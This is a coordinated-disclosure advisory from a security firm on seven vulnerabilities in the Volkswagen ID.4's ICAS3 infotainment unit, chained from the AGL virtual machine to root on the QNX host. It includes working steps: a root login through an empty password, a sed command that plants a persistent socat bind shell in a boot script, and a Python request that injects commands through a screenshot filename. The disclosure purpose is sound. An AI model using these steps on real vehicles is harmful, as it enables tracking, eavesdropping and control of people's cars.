This advisory highlights real-world attack paths that our Automotive Penetration Testing services are designed to uncover and validate before they can be exploited.
Product Description
This public advisory describes vulnerabilities discovered by PCA Cyber Security team in the Volkswagen MEB ICAS3 infotainment unit manufactured for the Volkswagen MEB (Modular Electric Drive) platform.
Originally, the vulnerabilities described in this advisory were identified in a Volkswagen ID.4 produced in 2021:
Volkswagen ID.4
The target vehicle features three main ECUs relevant to this research:
| ECU | Role |
|---|---|
| ICAS3 (In-Car Application Server 3) | Central infotainment head unit, the primary target |
| ICAS1 (Gateway) | Vehicle network routing and diagnostics |
| Telematic Control Unit (TCU) | Cellular connectivity and backend services |
The ICAS3 (In-Car Application Server 3) is the central infotainment domain controller in Volkswagen's MEB platform, responsible for managing the infotainment system and vehicle displays. It offers a range of connectivity interfaces, including Bluetooth, Wi-Fi, and USB. The assessment was performed on firmware version 0561, with part number 10A 035 820 J.
The ICAS3 runs a QNX Hypervisor hosting an AGL (Automotive-Grade Linux) virtual machine. The AGL VM runs various services, including Bluetooth and Apple CarPlay.
Volkswagen MEB ICAS3 infotainment unit
Summary
PCA Cyber Security team discloses 7 new vulnerabilities in the Volkswagen MEB ICAS3 infotainment unit. The initial wireless entry point leverages 4 additional vulnerabilities in the OpenSynergy BlueSDK Bluetooth stack, disclosed separately as part of the PerfektBlue advisory. The attack chain covers two execution domains, AGL Linux and QNX 7, beginning with an initial entry via Bluetooth or CarPlay USB (this path was not completed due to mitigations), escalating through the AGL virtual machine, and achieving full root control of the host QNX system.
Those vulnerabilities were successfully chained to achieve the following impact on the car:
- Track the vehicle's location and speed in real time
- Hijack the infotainment display to render arbitrary images
- Play arbitrary audio through the vehicle's speakers
- Eavesdrop and record cabin audio via the in-vehicle microphone
- Fetch contacts and messages of paired phone
- Manipulate the text-to-speech voice assistant
- Control vehicle body components, including the sunroof, heating system, and wipers
A video demonstration of the achieved remote controls is available on YouTube.
Identified vulnerabilities are summarized in the table below:
| Finding ID | Title | CVSS v3.1 |
|---|---|---|
PCA_ID4_005 | VM Escape to Host OS | 8.2 (High) |
PCA_ID4_006 | Insecure File Permissions of Privileged Configuration File | 7.8 (High) |
PCA_ID4_007 | Persistent Command Injection via Arbitrary File Write | 6.7 (Medium) |
PCA_ID4_008 | No Password for Root User in AGL | 7.8 (High) |
PCA_ID4_009 | Stack Buffer Overflow in iAP2 of CarPlay (USB transport) | 6.6 (Medium) |
PCA_ID4_010 | Heap and Stack Buffer Overflow in iAP2 of CarPlay (USB transport) | 6.6 (Medium) |
PCA_ID4_011 | Multiple Out-of-Bound Read in iAP2 of CarPlay (USB transport) | 5.9 (Medium) |
Table 1 — Summary of vulnerabilities discovered during the research.
Disclosure Timeline
| Date | Description |
|---|---|
19.06.2024 | Vulnerability report sent to VW CSIRT |
02.07.2024 | VW confirms receipt |
12.07.2024 | PCA informs VW about PerfektBlue disclosure status, provides additional details about the ID.4 vehicle, and informs about preliminary disclosure plans in Q2 2025 |
31.10.2024 | PCA requests status update from VW CSIRT about reported vulnerabilities. PCA further updates VW about PerfektBlue disclosure status with OpenSynergy |
15.11.2024 | Status call with VW CSIRT |
28.08.2025 | PCA informs VW about the plan to publish ID.4 research at BlackHat Europe 2025 and plans to request CVEs from ASRG |
04.09.2025 | VW informs PCA that patches will be available until August 2026 and requests to not publish the research until Q3 2026 |
10.09.2025 | 2nd status call with VW CSIRT |
08.10.2025 | PCA agrees to delay disclosure until Q3 2026. PCA provides PerfektBlue disclosure slides to VW for review |
23.01.2026 | Ping-pong and publication plans discussion for 2026 |
27.04.2026 | PCA informs VW CSIRT about a plan to submit for Escar EU 2026 with ID.4 findings and provides submission for review |
08.05.2026 | Submission reviewed by VW CSIRT and sent to Escar EU |
01.07.2026 | PCA informs VW CSIRT about a plan to submit a talk about ID.4 findings to Nullcon Berlin 2026 |
06.07.2026 | PCA provides submission for Nullcon to VW for review |
10.07.2026 | VW reviews Nullcon submission |
24.08.2026 | CVEs request from ASRG |
Technical Details
PCA_ID4_008 – No Password for Root User in AGL
| Field | Details |
|---|---|
| Affected Product | LG Electronics Volkswagen MEB ICAS3 infotainment unit, firmware version 0561 |
| CWE ID | CWE-258: Empty Password in Configuration File |
| CVSS v3.1 | 7.8 (High) – AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Description
The /etc/shadow is a text-based password file that stores the hashed passphrase for Linux user accounts with additional properties related to the user password. The content of this file on the IVI's AGL firmware filesystem reveals that the root user does not have a password assigned:
$ cat /etc/shadow
root::18671:0:99999:7:::
...
The missing * and ! characters mean that the root user has no password set. Therefore, an attacker is able to login as root user utilizing the su command. However, doing so directly will cause an error:
$ su root
su: must be run from a terminal
To overcome this issue, the /usr/bin/script executable can be used to create a terminal environment for the su command:
$ /usr/bin/script -qc /bin/bash /dev/null
bash-3.2$ su root
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root)
Exploitation scenario and impact
This vulnerability can be chained with PerfektBlue vulnerabilities to achieve remote code execution on behalf of the root user within the AGL virtual machine.
Credits
The vulnerability was identified by Abdellah Benotsmane and Mikhail Evdokimov from PCA Security Assessment team.
PCA_ID4_007 – Persistent Command Injection via Arbitrary File Write
| Field | Details |
|---|---|
| Affected Product | LG Electronics Volkswagen MEB ICAS3 infotainment unit, firmware version 0561 |
| CWE ID | CWE-276: Incorrect Default Permissions |
| CVSS v3.1 | 6.7 (Medium) – AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
Description
Inside the AGL Linux VM, the vw-hwmi.service associated with the VW HMI application initiates the HMI for the IVI system by executing a script located at /vw/hmiroot.sh upon startup. This script subsequently triggers another script at /vw/hmi/runHMI.sh, to which the root user has write access. As a result, it is possible to inject system commands into the runHMI.sh script. These commands then execute automatically each time the IVI system is rebooted, providing persistent access within the AGL VM system under root user privileges.
The following example demonstrates injecting commands that enable a UART console and start a bind shell on port 2013, ensuring persistent access on each boot:
$ sed -i '1a\
# Enable console on UART
systemctl start console-getty
# Open firewall on port 2013
iptables -I GENERIC_PORT_IN_FILTER 1 -p tcp -m tcp --dport 2013 -j ACCEPT
iptables -I GENERIC_PORT_OUT_FILTER 1 -p tcp -m tcp --sport 2013 -j ACCEPT
# Start socat in the background
socat TCP-LISTEN:2013,reuseaddr,fork EXEC:"/bin/sh,pty,stderr,setsid,sigint,sane" &' /vw/hmi/runHMI.sh
Each time the IVI system reboots, the injected commands ensure the UART console is enabled and a bind shell is started on port 2013, providing persistent remote access.
Exploitation scenario and impact
This vulnerability can be chained with PerfektBlue vulnerabilities and PCA_ID4_008 to achieve persistent remote code execution on AGL VM. PCA_ID4_005 and PCA_ID4_006 can also be used to achieve root code execution within the QNX host system on each IVI boot.
Credits
The vulnerability was identified by Abdellah Benotsmane from PCA Security Assessment team.
PCA_ID4_005 – VM Escape to Host OS
| Field | Details |
|---|---|
| Affected Product | LG Electronics Volkswagen MEB ICAS3 infotainment unit, firmware version 0561 |
| CWE ID | CWE-20: Improper Input Validation |
| CVSS v3.1 | 8.2 (High) – AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
Description
Upon reviewing the pf.conf file, it was noted that multiple ports are allowed to facilitate service communication between the AGL Guest VM and Host QNX. One such port, 49570, is designated for a particular service running the binary middlerware/displaymgr.
This binary hosts an HTTP server, utilizing the configuration outlined in viwi.service.displaymanagement/viwi.service.displaymanagement-1.1.3.json. It supports POST requests targeting the endpoint displaymanagement.screenshots, which allows for specifying parameters including name, displayid, and filename to capture screenshots on the designated display, including abt, driverdisplay, and hud within Host QNX.
Command injection via unsanitized filename passed to system()
The filename parameter is processed without proper sanitization. An attacker only needs to send a single POST request targeting a valid display ID with a crafted filename to achieve code execution, enabling a reverse shell to be established on the host QNX system under the displaymgr user from the AGL VM environment:
payload = {
"name": "test",
"display": "/displaymanagement/physicalDisplays/" + first_display_id,
"filename": payloadData
}
response = urllib2.urlopen(
urllib2.Request(
"http://{}:{}/displaymanagement/screenshots/".format(QNX_HOST, displaymgrSrvc),
json.dumps(payload),
{'Content-Type': 'application/json'}
)
)
Exploitation scenario and impact
This vulnerability can be chained with PerfektBlue vulnerabilities and PCA_ID4_008 to achieve remote code execution on behalf of the displaymgr user on the QNX host system.
Credits
The vulnerability was identified by Abdellah Benotsmane from PCA Security Assessment team.
PCA_ID4_006 – Insecure File Permissions of Privileged Configuration File
| Field | Details |
|---|---|
| Affected Product | LG Electronics Volkswagen MEB ICAS3 infotainment unit, firmware version 0561 |
| CWE ID | CWE-276: Incorrect Default Permissions |
| CVSS v3.1 | 7.8 (High) – AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Description
After exploiting the VM escape vulnerability PCA_ID4_005 on the host system while logged in as the displaymgr user, it was discovered that this user account has write access to the /persist/data/mgrlog/config/tcpsniff.conf file.
File permissions confirming write access to tcpsniff.conf
This access permits the injection of arbitrary system commands into the file. Additionally, access to the MgrLog process on port 54323 enables the manipulation of the TCPSniffer by stopping and starting it. This action triggers the parsing of tcpsniff.conf through the root-owned process /usr/sbin/tcpdump. The injected commands are then executed with root privileges, leading to root access on the QNX host system.
Proof of privilege escalation via reading a protected root-owned file
Exploitation scenario and impact
This vulnerability can be chained with PerfektBlue vulnerabilities, PCA_ID4_008, and PCA_ID4_005 to achieve remote code execution on behalf of the root user on the QNX host system.
Credits
The vulnerability was identified by Abdellah Benotsmane from PCA Security Assessment team.
PCA_ID4_009 – Stack Buffer Overflow in iAP2 of CarPlay (USB transport)
| Field | Details |
|---|---|
| Affected Product | LG Electronics Volkswagen MEB ICAS3 infotainment unit, firmware version 0561 |
| CWE ID | CWE-121: Stack-based Buffer Overflow |
| CVSS v3.1 | 6.6 (Medium) – AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Description
The Volkswagen ID.4 allows communication with CarPlay over USB and Bluetooth (with Wi-Fi). Internally, CarPlay uses the iAP2 protocol to perform authentication and share media or sensor data between a mobile device and the head unit. In case of USB communication, this protocol is processed by the services /lge/app_rw/smartlink/carplay/iAP2d and /lge/app_rw/smartlink/carplay/carplay.
The service iAP2d is responsible for initial processing of iAP2 packets, specifically in the library /lge/app_rw/lib64/libiAP2Service-3.0.so. The packet type is defined by its header:
typedef struct _HEADER {
unsigned __int16 preamble;
unsigned __int16 length;
unsigned __int8 control;
unsigned __int8 seq;
unsigned __int8 ack;
unsigned __int8 session_id;
unsigned __int8 checksum;
} HEADER;
The header is parsed in iAP2LinkHandleReadyPacket. When the preamble equals 0xff5a, control equals 0x40, and session_id equals 1, the header is followed by a payload:
typedef struct _PAYLOAD {
unsigned __int16 preamble;
unsigned __int16 length;
unsigned __int16 msg_id;
unsigned __int8 data[length - 7];
unsigned __int8 checksum;
} PAYLOAD;
A session_id of 1 indicates that the packet represents a control session management message, and PAYLOAD.msg_id identifies the request. The PAYLOAD.data field contains encoded parameters for the request:
typedef struct _PARAMETER {
unsigned __int16 length;
unsigned __int16 id;
unsigned __int8 data[length - 4];
} PARAMETER;
For parsing parameters, specific decode functions are used for each request type. For the OOBBTPairingLinkKeyInformation request, the function IAP2::OOBBTPairing::decodeOOBBTPairingLinkKeyInformation prepares an OOBBTPairingLinkKeyInformationEvent object. This event is then handled in the carplay process using the library /lge/app_rw/lib64/libiAP2AppFramework-3.0.so, which deserializes the object and calls the delegate handler CIAP2ServiceCB::OOBBTPairingLinkKeyInfoCb.
None of the previous functions enforce any restrictions on the size of the parameters. In CIAP2ServiceCB::OOBBTPairingLinkKeyInfoCb, the LinkKey parameter value is copied to a stack buffer without any additional checks for parameter length:
__int64 __fastcall CIAP2ServiceCB::OOBBTPairingLinkKeyInfoCb(
__int64 a1,
OOBBTPairingLinkKeyInformationEvent *i_pEvent)
{
...
__int64 v24[17]; // [xsp+108h] [xbp+88h] BYREF
...
if ( i_pEvent )
{
dLinkKey = i_pEvent->flLinkKey;
...
if ( dLinkKey == 1 )
{
dLinkKeyLength = i_pEvent->dLinkKeyLength;
v4 = dLinkKeyLength + 4;
memcpy((char *)&v22 + 4, i_pEvent->pLinkKey, dLinkKeyLength);
...
If the size of the LinkKey parameter is greater than 0xa4, a stack buffer overflow occurs.
iAP2 LinkKey overflow trigger packet
Exploitation scenario and impact
This vulnerability can be used to perform remote code execution on the MEB ICAS3 IVI by attaching a malicious USB device to the in-vehicle USB port. To bypass exploit mitigations such as stack canaries and ASLR, the PCA_ID4_011 vulnerability can be used.
Credits
The vulnerability was identified by Radu Motspan from PCA Security Assessment team.
PCA_ID4_010 – Heap and Stack Buffer Overflow in iAP2 of CarPlay (USB transport)
| Field | Details |
|---|---|
| Affected Product | LG Electronics Volkswagen MEB ICAS3 infotainment unit, firmware version 0561 |
| CWE ID | CWE-120: Buffer Copy without Checking Size of Input |
| CVSS v3.1 | 6.6 (Medium) – AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Description
Similarly to PCA_ID4_009, the iAP2 protocol stack lacks proper validation of incoming packet parameters. In this case, two separate overflows were identified in the CIAP2ServiceCB::deviceTransportIdentifierNotiCb handler, triggered by the DeviceTransportIdentifierNotification request.
Heap Buffer Overflow (USB TransportID)
In the handler function, the USB transport identifier parameter value is copied to a previously allocated heap buffer of size 0x58 without any additional checks for parameter length:
__int64 __fastcall CIAP2ServiceCB::deviceTransportIdentifierNotiCb(
__int64 a1,
DeviceTransportIdentifierNotificationEvt *i_pEvent)
{
...
if ( i_pEvent )
{
v3 = (_QWORD *)operator new(0x58uLL);
...
if ( i_pEvent->flUSB == 1 )
{
memcpy((char *)v3 + 0x16,
(const void *)i_pEvent->pUSBPtr,
i_pEvent->dUSBLength);
}
...
If the size of the USB parameter is greater than 0x42, an out-of-bound write in heap memory occurs.
iAP2 USB TransportID heap overflow trigger packet
Stack Buffer Overflow (BT TransportID)
In the same handler, the BT transport identifier parameter value is copied onto the stack:
if ( dBT == 1 )
{
dBTLength = i_pEvent->dBTLength;
pBTPtr = (unsigned __int8 *)i_pEvent->pBTPtr;
memcpy((char *)v3 + 4, pBTPtr, dBTLength);
if ( dBTLength )
{
v9 = 0LL;
v10 = dBTLength - 1 + 1LL;
do
{
v15[v9] = toupper(pBTPtr[v9]);
++v9;
}
while ( v10 != v9 );
}
...
If the value of the parameter is greater than 0x20, a stack buffer overflow occurs.
iAP2 BT TransportID stack overflow trigger packet
Exploitation scenario and impact
This vulnerability can be used to perform remote code execution on the MEB ICAS3 IVI by attaching a malicious USB device to the in-vehicle USB port. To bypass exploit mitigations such as stack canaries and ASLR, the PCA_ID4_011 vulnerability can be used.
Credits
The vulnerability was identified by Radu Motspan from PCA Security Assessment team.
PCA_ID4_011 – Multiple Out-of-Bound Read in iAP2 of CarPlay (USB transport)
| Field | Details |
|---|---|
| Affected Product | LG Electronics Volkswagen MEB ICAS3 infotainment unit, firmware version 0561 |
| CWE ID | CWE-125: Out-of-bounds Read |
| CVSS v3.1 | 5.9 (Medium) – AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H |
Description
Similarly to PCA_ID4_009 and PCA_ID4_010, the iAP2 protocol stack lacks proper validation of incoming packet parameters. In this case, multiple out-of-bound read conditions were identified in the parameter decoding logic.
For each request type, specific decode functions parse the parameters. For example, for the DeviceTransportIdentifierNotification request, the function IAP2::DeviceNotification::decodeDeviceTransportIdentifierNotification prepares an event object containing values for simple parameters and pointers to data for complex parameters such as strings:
void __fastcall
IAP2::DeviceNotification::decodeDeviceTransportIdentifierNotification(
__unused int this,
IAP2::DataDecoder *i_pDecoder,
DeviceTransportIdentifierNotificationEvt *o_pEvent)
{
...
while ( dCurOffset < dUintFromBytes )
{
dParamLength = IAP2::DataDecoder::getUintFromBytes(
i_pDecoder, dCurOffset, 2);
...
v10 = IAP2::DataDecoder::getUintFromBytes(
i_pDecoder, dCurOffset + 2, 2);
v11 = dCurOffset + 4;
if ( v10 == 1 )
{
o_pEvent->flUSB = 1;
o_pEvent->pUSBPtr = (__int64)i_pDecoder + v11;
o_pEvent->dUSBLength = dParamLength - 4;
}
else if ( v10 == 0 )
{
o_pEvent->pBTPtr = (__int64)i_pDecoder + v11;
o_pEvent->flBT = 1;
o_pEvent->dBTLength = dParamLength - 4;
}
dCurOffset += dParamLength;
}
}
The decoded event objects are then packed into a byte array using iAp2MarshalInit, iAp2MarshalPutUint32, and iAp2MarshalPutBytes:
v8 = 4 * (i_pEvent->dBTLength
+ (unsigned __int64)i_pEvent->dUSBLength + 96);
v9 = iAP2_malloc(v8);
v10 = (_DWORD *)v9;
if ( v9 )
{
iAp2MarshalInit(v14, v9, v8, 64LL);
iAp2MarshalPutUint32(v14, i_pEvent->flBT);
if ( i_pEvent->flBT )
iAp2MarshalPutBytes();
iAp2MarshalPutUint32(v14, i_pEvent->flUSB);
if ( i_pEvent->flUSB )
iAp2MarshalPutBytes();
...
If a parameter's length field is greater than the actual size of the packet buffer, there is no error handling mechanism and the values dBTLength and pBTPtr are already populated with incorrect values. These incorrect values are then used during iAp2MarshalPutBytes, resulting in an out-of-bound read operation because the source buffer is smaller than the size used for the copy operation.
This vulnerability exists in the processing of parameters for all request types.
iAP2 out-of-bounds read trigger packet (red labels mark corrupted parameter length)
Exploitation scenario and impact
This vulnerability can be used to leak memory of the iAP2 process running on the MEB ICAS3 head unit.
Credits
The vulnerability was identified by Radu Motspan from PCA Security Assessment team.
Vulnerability Chaining
The following diagram shows how the discovered vulnerabilities can be chained into attack paths, allowing an attacker to achieve the impacts described in the Summary section:
Vulnerability chaining graph
Related Publications
PCA Cyber Security presented the discovered vulnerabilities at the following conferences:
- Nullcon Berlin 2026 – Slides available here about assets/8358952b 6cfe 4afb 87cb 575c376e0961. Watch the talk on YouTube.
- Escar EU 2026 – Slides available here about assets/7e1f736e 8936 4f05 bac5 2a8d104d5c2b. Watch the talk on YouTube.
